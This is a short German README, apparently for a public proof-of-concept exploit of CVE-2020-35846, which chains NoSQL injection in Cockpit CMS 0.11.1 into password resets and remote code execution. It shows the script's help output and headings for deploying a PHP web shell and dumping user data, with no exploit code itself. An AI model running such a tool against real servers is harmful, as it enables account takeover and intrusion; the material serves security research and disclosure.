
Cockpit CMS 0.11.1 NoSQL Injection zu Remote Code Execution
Cockpit CMS weist einige NoSQL-Schwachstellen auf, die zum Auslesen von Benutzerinformationen genutzt werden können. Diese Informationsoffenlegungen können miteinander kombiniert werden, um Passwörter von Benutzern zu ändern, was zu einer Remote Code Execution auf dem Server führt.
Eine kurze Beschreibung all dieser Schwachstellen findet sich hier.
┌─[0z09e]─[~/project/CVE-2020-35846]
└──╼ $ python3 exploit.py --help
usage: exploit.py [-h] [--dump_all] URL
_________ __ .__ __ ___________________ ___________
\_ ___ \ ____ ____ | | ________ |__|/ |_ \______ \_ ___ \_ _____/
/ \ \/ / _ \_/ ___\| |/ /\____ \| \ __\ | _/ \ \/ | __)_
\ \___( <_> ) \___| < | |_> > || | | | \ \____|
\______ /\____/ \___ >__|_ \| __/|__||__| |____|_ /\______ /_______ /
\/ \/ \/|__| \/ \/ \/
Cockpit CMS NoSQL Injection to Remote Code Execution : CVE-2020-35846
POC written by : 0z09e (https://github.com/0z09e)
positional arguments:
URL Target URL. Example : http://10.20.30.40/path/to/cockpit
optional arguments:
-h, --help show this help message and exit
--dump_all Dump all the informations about each and every user.(No password will be changed and no shell will be deployed)
URL – Die Ziel-URL, unter der Cockpit CMS läuft.--dump_all – Alle Informationen zu jedem im CMS vorhandenen Benutzer ausgeben.Bereitstellen einer PHP-WebShell :

Ausgeben von Benutzerinformationen :
